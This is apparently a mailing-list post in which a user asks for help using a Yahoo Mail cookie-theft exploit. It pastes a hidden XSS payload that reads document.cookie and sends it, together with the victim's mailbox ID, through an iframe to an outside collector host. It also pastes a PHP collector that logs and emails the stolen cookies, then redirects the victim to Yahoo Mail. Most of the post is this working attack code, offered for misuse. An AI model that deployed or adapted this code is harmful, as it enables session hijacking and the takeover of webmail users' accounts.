Help me with Yahoo cookie exploit

[iustin Darloman <iustin3lu () yahoo com>]

  Hello my name is Justin and i want to ask you if there is a  program that exploits cookies on yahoo ...i can't 
understand what those  mean... and i can't use the vulnerability...please help me 
   
  i found this script 
   
  <DIV id=b style="VISIBILITY: hidden">
<STYLE  onload="window.status=''; var x =  escape(document.cookie).substr(0,1900); b.innerHTML='<iframe  
src=http://domeniu.com/as.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&amp&cookie=\''+x+'\'  
frameborder=0 width=10 height=10></iframe>';" type=text/css>
</STYLE>
</DIV>

  and this php file 
   
  <?php
$file="cookie.log";
if (isset($_REQUEST["cookie"]) && isset($_REQUEST["id"])){
$logcookie = $_REQUEST["cookie"];
$logcookie = rawurldecode($logcookie);
$logemail = $_REQUEST["id"];
$logemail = rawurldecode($logemail);
if   (file_exists($file)) {
$handle=fopen($file, "r+");
$filecontence=fread($handle,filesize("$file"));
fclose($handle);
}
$handle=fopen($file, "w");
fwrite($handle, "$logemail - $logcookie\n $filecontence\n ");
//Writing email address and cookie then the rest of the log
fclose($handle);
mail("email", "$logemail", "$logemail\n$logcookie\n$filecontence\n");
}
header("Location: http://mail.yahoo.com";);
?>

  but i don't know how to use them :(...please help me...
  WIth respect, Justin!

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